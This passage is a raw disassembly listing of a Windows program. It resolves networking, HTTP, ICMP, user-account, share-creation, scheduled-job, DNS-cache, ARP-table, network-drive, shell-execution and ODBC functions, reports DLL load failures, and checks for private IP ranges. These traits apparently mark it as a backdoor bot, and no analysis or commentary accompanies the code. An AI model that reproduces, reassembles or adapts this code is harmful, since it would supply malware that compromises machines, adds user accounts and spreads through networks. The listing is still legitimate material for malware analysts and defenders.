		mov	ds:dword_451530, eax
		call	esi ; dword_4F1314
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_4514F4, eax
		call	esi ; dword_4F1314
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_4514F0, eax
		call	esi ; dword_4F1314
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_451428, eax
		call	esi ; dword_4F1314
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_451420, eax
		call	esi ; dword_4F1314
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_451540, eax
		call	esi ; dword_4F1314
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_451554, eax
		call	esi ; dword_4F1314
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_45150C, eax
		call	esi ; dword_4F1314
		mov	ds:dword_4514CC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_4F1314
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_451520, eax
		call	esi ; dword_4F1314
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_4514DC, eax
		call	esi ; dword_4F1314
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_45151C, eax
		call	esi ; dword_4F1314
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_451584, eax
		call	esi ; dword_4F1314
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_4514D4, eax
		call	esi ; dword_4F1314
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_451498, eax
		call	esi ; dword_4F1314
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_451508, eax
		call	esi ; dword_4F1314
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_451574, eax
		call	esi ; dword_4F1314
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_4514AC, eax
		call	esi ; dword_4F1314
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_451448, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_451464, ebx
		mov	ds:dword_451588, eax
		jz	loc_401CCD
		cmp	ds:dword_451594, ebx
		jz	loc_401CCD
		cmp	ds:dword_451408, ebx
		jz	loc_401CCD
		cmp	ds:dword_4514A0, ebx
		jz	loc_401CCD
		cmp	ds:dword_451488, ebx
		jz	loc_401CCD
		cmp	ds:dword_45144C, ebx
		jz	loc_401CCD
		cmp	ds:dword_451570, ebx
		jz	loc_401CCD
		cmp	ds:dword_45158C, ebx
		jz	loc_401CCD
		cmp	ds:dword_45149C, ebx
		jz	loc_401CCD
		cmp	ds:dword_45157C, ebx
		jz	loc_401CCD
		cmp	ds:dword_451530, ebx
		jz	loc_401CCD
		cmp	ds:dword_4514F4, ebx
		jz	loc_401CCD
		cmp	ds:dword_4514F0, ebx
		jz	loc_401CCD
		cmp	ds:dword_451428, ebx
		jz	short loc_401CCD
		cmp	ds:dword_451540, ebx
		jz	short loc_401CCD
		cmp	ds:dword_451554, ebx
		jz	short loc_401CCD
		cmp	ds:dword_45150C, ebx
		jz	short loc_401CCD
		cmp	ds:dword_4514CC, ebx
		jz	short loc_401CCD
		cmp	ds:dword_451520, ebx
		jz	short loc_401CCD
		cmp	ds:dword_4514DC, ebx
		jz	short loc_401CCD
		cmp	ds:dword_45151C, ebx
		jz	short loc_401CCD
		cmp	ds:dword_451584, ebx
		jz	short loc_401CCD
		cmp	ds:dword_4514D4, ebx
		jz	short loc_401CCD
		cmp	ds:dword_451498, ebx
		jz	short loc_401CCD
		cmp	ds:dword_451508, ebx
		jz	short loc_401CCD
		cmp	ds:dword_451574, ebx
		jz	short loc_401CCD
		cmp	ds:dword_4514AC, ebx
		jz	short loc_401CCD
		cmp	eax, ebx
		jnz	short loc_401CD7
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC2:				; CODE XREF: sub_4014F8+51Fj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515D4, eax


loc_401CCD:				; CODE XREF: sub_4014F8+6BEj
					; sub_4014F8+6CAj ...
		mov	ds:dword_4515D0, 1


loc_401CD7:				; CODE XREF: sub_4014F8+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401DDC
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_4F1314
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_451434, eax
		call	esi ; dword_4F1314
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_4513BC, eax
		call	esi ; dword_4F1314
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_4514BC, eax
		call	esi ; dword_4F1314
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_451468, eax
		call	esi ; dword_4F1314
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_4514C8, eax
		call	esi ; dword_4F1314
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_45148C, eax
		call	esi ; dword_4F1314
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_4513FC, eax
		call	esi ; dword_4F1314
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_4513F4, eax
		call	esi ; dword_4F1314
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_451404, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_451434, ebx
		mov	ecx, ds:dword_45148C
		mov	ds:dword_451524, eax
		jz	short loc_401DB8
		cmp	ds:dword_4513BC, ebx
		jz	short loc_401DB8
		cmp	ds:dword_4514BC, ebx
		jz	short loc_401DB8
		cmp	ds:dword_451468, ebx
		jz	short loc_401DB8
		cmp	ds:dword_4514C8, ebx
		jz	short loc_401DB8
		cmp	ecx, ebx
		jz	short loc_401DB8
		cmp	ds:dword_4513FC, ebx
		jz	short loc_401DB8
		cmp	ds:dword_4513F4, ebx
		jz	short loc_401DB8
		cmp	ds:dword_451404, ebx
		jz	short loc_401DB8
		cmp	eax, ebx
		jnz	short loc_401DC2


loc_401DB8:				; CODE XREF: sub_4014F8+87Ej
					; sub_4014F8+886j ...
		mov	ds:dword_4515D8, 1


loc_401DC2:				; CODE XREF: sub_4014F8+8BEj
		cmp	ecx, ebx
		jz	short loc_401DF7
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_45148C
		cmp	eax, ebx
		mov	ds:dword_4514A4, eax
		jnz	short loc_401DF7
		jmp	short loc_401DF1
; ---------------------------------------------------------------------------


loc_401DDC:				; CODE XREF: sub_4014F8+7EAj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515DC, eax
		mov	ds:dword_4515D8, 1


loc_401DF1:				; CODE XREF: sub_4014F8+8E2j
		mov	ds:dword_4514A4, ebx


loc_401DF7:				; CODE XREF: sub_4014F8+8CCj
					; sub_4014F8+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401E41
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_4F1314
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_45147C, eax
		call	esi ; dword_4F1314
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_4515A8, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_45147C, ebx
		mov	ds:dword_451410, eax
		jz	short loc_401E4C
		cmp	ds:dword_4515A8, ebx
		jz	short loc_401E4C
		cmp	eax, ebx
		jnz	short loc_401E56
		jmp	short loc_401E4C
; ---------------------------------------------------------------------------


loc_401E41:				; CODE XREF: sub_4014F8+90Aj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515E4, eax


loc_401E4C:				; CODE XREF: sub_4014F8+939j
					; sub_4014F8+941j ...
		mov	ds:dword_4515E0, 1


loc_401E56:				; CODE XREF: sub_4014F8+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401F5D
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_4F1314
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_4513EC, eax
		call	esi ; dword_4F1314
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_4513C4, eax
		call	esi ; dword_4F1314
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_45143C, eax
		call	esi ; dword_4F1314
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_45146C, eax
		call	esi ; dword_4F1314
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_451580, eax
		call	esi ; dword_4F1314
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_451424, eax
		call	esi ; dword_4F1314
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_4513D0, eax
		call	esi ; dword_4F1314
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_4513C0, eax
		call	esi ; dword_4F1314
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_451454, eax
		call	esi ; dword_4F1314
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_451548, eax
		call	esi ; dword_4F1314
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	ds:dword_451504, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_4513EC, ebx
		mov	ds:dword_45142C, eax
		jz	short loc_401F68
		cmp	ds:dword_4513C4, ebx
		jz	short loc_401F68
		cmp	ds:dword_45143C, ebx
		jz	short loc_401F68
		cmp	ds:dword_45146C, ebx
		jz	short loc_401F68
		cmp	ds:dword_451580, ebx
		jz	short loc_401F68
		cmp	ds:dword_451424, ebx
		jz	short loc_401F68
		cmp	ds:dword_4513D0, ebx
		jz	short loc_401F68
		cmp	ds:dword_4513C0, ebx
		jz	short loc_401F68
		cmp	ds:dword_451454, ebx
		jz	short loc_401F68
		cmp	ds:dword_451548, ebx
		jz	short loc_401F68
		cmp	ds:dword_451504, ebx
		jnz	short loc_401F72
		jmp	short loc_401F68
; ---------------------------------------------------------------------------


loc_401F5D:				; CODE XREF: sub_4014F8+969j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515EC, eax


loc_401F68:				; CODE XREF: sub_4014F8+A11j
					; sub_4014F8+A19j ...
		mov	ds:dword_4515E8, 1


loc_401F72:				; CODE XREF: sub_4014F8+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401FA7
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_4F1314
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_451414, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_451414, ebx
		mov	ds:dword_4514EC, eax
		jz	short loc_401FB2
		cmp	eax, ebx
		jnz	short loc_401FBC
		jmp	short loc_401FB2
; ---------------------------------------------------------------------------


loc_401FA7:				; CODE XREF: sub_4014F8+A85j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515F4, eax


loc_401FB2:				; CODE XREF: sub_4014F8+AA7j
					; sub_4014F8+AADj
		mov	ds:dword_4515F0, 1


loc_401FBC:				; CODE XREF: sub_4014F8+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401FF1
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_4F1314
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_45156C, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_45156C, ebx
		mov	ds:dword_451568, eax
		jz	short loc_401FFC
		cmp	eax, ebx
		jnz	short loc_402006
		jmp	short loc_401FFC
; ---------------------------------------------------------------------------


loc_401FF1:				; CODE XREF: sub_4014F8+ACFj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515FC, eax


loc_401FFC:				; CODE XREF: sub_4014F8+AF1j
					; sub_4014F8+AF7j
		mov	ds:dword_4515F8, 1


loc_402006:				; CODE XREF: sub_4014F8+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_402065
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_4F1314
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_451598, eax
		call	esi ; dword_4F1314
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_451590, eax
		call	esi ; dword_4F1314
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_451558, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_451598, ebx
		mov	ds:dword_451430, eax
		jz	short loc_402070
		cmp	ds:dword_451590, ebx
		jz	short loc_402070
		cmp	ds:dword_451558, ebx
		jz	short loc_402070
		cmp	eax, ebx
		jnz	short loc_40207A
		jmp	short loc_402070
; ---------------------------------------------------------------------------


loc_402065:				; CODE XREF: sub_4014F8+B19j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_451604, eax


loc_402070:				; CODE XREF: sub_4014F8+B55j
					; sub_4014F8+B5Dj ...
		mov	ds:dword_451600, 1


loc_40207A:				; CODE XREF: sub_4014F8+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4020AF
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_4F1314
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_451460, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_451460, ebx
		mov	ds:dword_451564, eax
		jz	short loc_4020BA
		cmp	eax, ebx
		jnz	short loc_4020C4
		jmp	short loc_4020BA
; ---------------------------------------------------------------------------


loc_4020AF:				; CODE XREF: sub_4014F8+B8Dj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_45160C, eax


loc_4020BA:				; CODE XREF: sub_4014F8+BAFj
					; sub_4014F8+BB5j
		mov	ds:dword_451608, 1


loc_4020C4:				; CODE XREF: sub_4014F8+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40214D
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_4F1314
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_45152C, eax
		call	esi ; dword_4F1314
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_451578, eax
		call	esi ; dword_4F1314
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_4514B8, eax
		call	esi ; dword_4F1314
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_451470, eax
		call	esi ; dword_4F1314
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_451510, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_45152C, ebx
		mov	ds:dword_451480, eax
		jz	short loc_402158
		cmp	ds:dword_451578, ebx
		jz	short loc_402158
		cmp	ds:dword_4514B8, ebx
		jz	short loc_402158
		cmp	ds:dword_451470, ebx
		jz	short loc_402158
		cmp	ds:dword_451510, ebx
		jz	short loc_402158
		cmp	eax, ebx
		jnz	short loc_402162
		jmp	short loc_402158
; ---------------------------------------------------------------------------


loc_40214D:				; CODE XREF: sub_4014F8+BD7j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_451614, eax


loc_402158:				; CODE XREF: sub_4014F8+C2Dj
					; sub_4014F8+C35j ...
		mov	ds:dword_451610, 1


loc_402162:				; CODE XREF: sub_4014F8+C51j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4014F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40216A	proc near		; CODE XREF: seg000:00407C57p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_4515B0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4021B2
		push	ds:dword_4515B4
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_4021B2:				; CODE XREF: sub_40216A+1Aj
		cmp	ds:dword_4515B8, esi
		jz	short loc_4021E6
		push	ds:dword_4515BC
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_4021E6:				; CODE XREF: sub_40216A+4Ej
		cmp	ds:dword_4515C0, esi
		jz	short loc_40221A
		push	ds:dword_4515C4
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_40221A:				; CODE XREF: sub_40216A+82j
		cmp	ds:dword_4515C8, esi
		jz	short loc_40224E
		push	ds:dword_4515CC
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_40224E:				; CODE XREF: sub_40216A+B6j
		cmp	ds:dword_4515D0, esi
		jz	short loc_402282
		push	ds:dword_4515D4
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_402282:				; CODE XREF: sub_40216A+EAj
		cmp	ds:dword_4515D8, esi
		jz	short loc_4022B6
		push	ds:dword_4515DC
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_4022B6:				; CODE XREF: sub_40216A+11Ej
		cmp	ds:dword_4515E0, esi
		jz	short loc_4022EA
		push	ds:dword_4515E4
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_4022EA:				; CODE XREF: sub_40216A+152j
		cmp	ds:dword_4515E8, esi
		jz	short loc_40231E
		push	ds:dword_4515EC
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_40231E:				; CODE XREF: sub_40216A+186j
		cmp	ds:dword_4515F0, esi
		jz	short loc_402352
		push	ds:dword_4515F4
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_402352:				; CODE XREF: sub_40216A+1BAj
		cmp	ds:dword_4515F8, esi
		jz	short loc_402386
		push	ds:dword_4515FC
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_402386:				; CODE XREF: sub_40216A+1EEj
		cmp	ds:dword_451600, esi
		jz	short loc_4023BA
		push	ds:dword_451604
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_4023BA:				; CODE XREF: sub_40216A+222j
		cmp	ds:dword_451608, esi
		jz	short loc_4023EE
		push	ds:dword_45160C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_4023EE:				; CODE XREF: sub_40216A+256j
		cmp	ds:dword_451610, esi
		jz	short loc_402422
		push	ds:dword_451614
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h


loc_402422:				; CODE XREF: sub_40216A+28Aj
		lea	eax, [ebp+var_200]
		push	offset dword_43CA98
		push	eax
		call	sub_41D260
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40244F
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h


loc_40244F:				; CODE XREF: sub_40216A+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4161A7
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40216A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		jz	loc_4024F6
		push	offset dword_451634
		push	dword ptr [ebp+8]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4024F6
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-20h]
		push	offset dword_43CAD8
		push	eax
		call	sub_41D6B0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4024F6
		push	eax
		call	sub_41D560
		mov	dword ptr [esp], offset	dword_43CADC
		push	0
		mov	esi, eax
		call	sub_41D6B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4024F6
		push	eax
		call	sub_41D560
		cmp	esi, 0Ah
		pop	ecx
		jz	short loc_4024F1
		cmp	esi, 0ACh
		jnz	short loc_4024E2
		cmp	eax, 0Fh
		jle	short loc_4024F6
		cmp	eax, 20h
		jl	short loc_4024F1


loc_4024E2:				; CODE XREF: seg000:004024D6j
		cmp	esi, 0C0h
		jnz	short loc_4024F6
		cmp	eax, 0A8h
		jnz	short loc_4024F6


loc_4024F1:				; CODE XREF: seg000:004024CEj
					; seg000:004024E0j
		push	1
		pop	eax
		jmp	short loc_4024F8
; ---------------------------------------------------------------------------


loc_4024F6:				; CODE XREF: seg000:0040246Cj
					; seg000:00402483j ...
		xor	eax, eax


loc_4024F8:				; CODE XREF: seg000:004024F4j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4024FB	proc near		; CODE XREF: sub_402D46+4Fp
					; sub_411418+52p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_451530
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_402523
		push	[esp+arg_0]
		call	ds:dword_451574
		test	eax, eax
		jnz	short loc_40251C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40251C:				; CODE XREF: sub_4024FB+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_402523:				; CODE XREF: sub_4024FB+Dj
		retn
sub_4024FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_402524	proc near		; CODE XREF: sub_402D46+D6p
		mov	ecx, ds:dword_451414
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_402532
		call	ecx ; dword_451414

locret_402532:				; CODE XREF: sub_402524+Aj
		retn
sub_402524	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402533	proc near		; CODE XREF: seg000:loc_407B95p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_45156C
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_4025FF
		sub	ecx, 32h
		jz	loc_4025F8
		sub	ecx, 48h
		jz	short loc_402593
		sub	ecx, 6Eh
		jz	short loc_40258C
		push	eax
		push	offset dword_43CBF8


loc_40257B:				; CODE XREF: sub_402533+91j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		jmp	short loc_4025D9
; ---------------------------------------------------------------------------


loc_40258C:				; CODE XREF: sub_402533+40j
		push	offset dword_43CB70
		jmp	short loc_4025CB
; ---------------------------------------------------------------------------


loc_402593:				; CODE XREF: sub_402533+3Bj
		push	[ebp+var_8]
		call	sub_41AE40
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41D100
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_4025C6
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_45156C
		cmp	eax, edi
		jz	short loc_4025FF
		push	eax
		push	offset dword_43CAE0
		jmp	short loc_40257B
; ---------------------------------------------------------------------------


loc_4025C6:				; CODE XREF: sub_402533+79j
		push	offset dword_43CB28


loc_4025CB:				; CODE XREF: sub_402533+5Ej
					; sub_402533+CAj
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_4025D9:				; CODE XREF: sub_402533+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4161A7
		pop	ecx


loc_4025E9:				; CODE XREF: sub_402533+CEj
					; sub_402533+E2j
		push	esi
		call	sub_41B8B0
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4025F8:				; CODE XREF: sub_402533+32j
		push	offset dword_43CBB0
		jmp	short loc_4025CB
; ---------------------------------------------------------------------------


loc_4025FF:				; CODE XREF: sub_402533+29j
					; sub_402533+89j
		cmp	[esi], edi
		jbe	short loc_4025E9
		lea	ebx, [esi+4]


loc_402606:				; CODE XREF: sub_402533+E0j
		push	ebx
		call	ds:dword_451568
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_402606
		jmp	short loc_4025E9
sub_402533	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402617	proc near		; CODE XREF: seg000:0040609Fp
					; seg000:00407952p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451498
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_451620
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
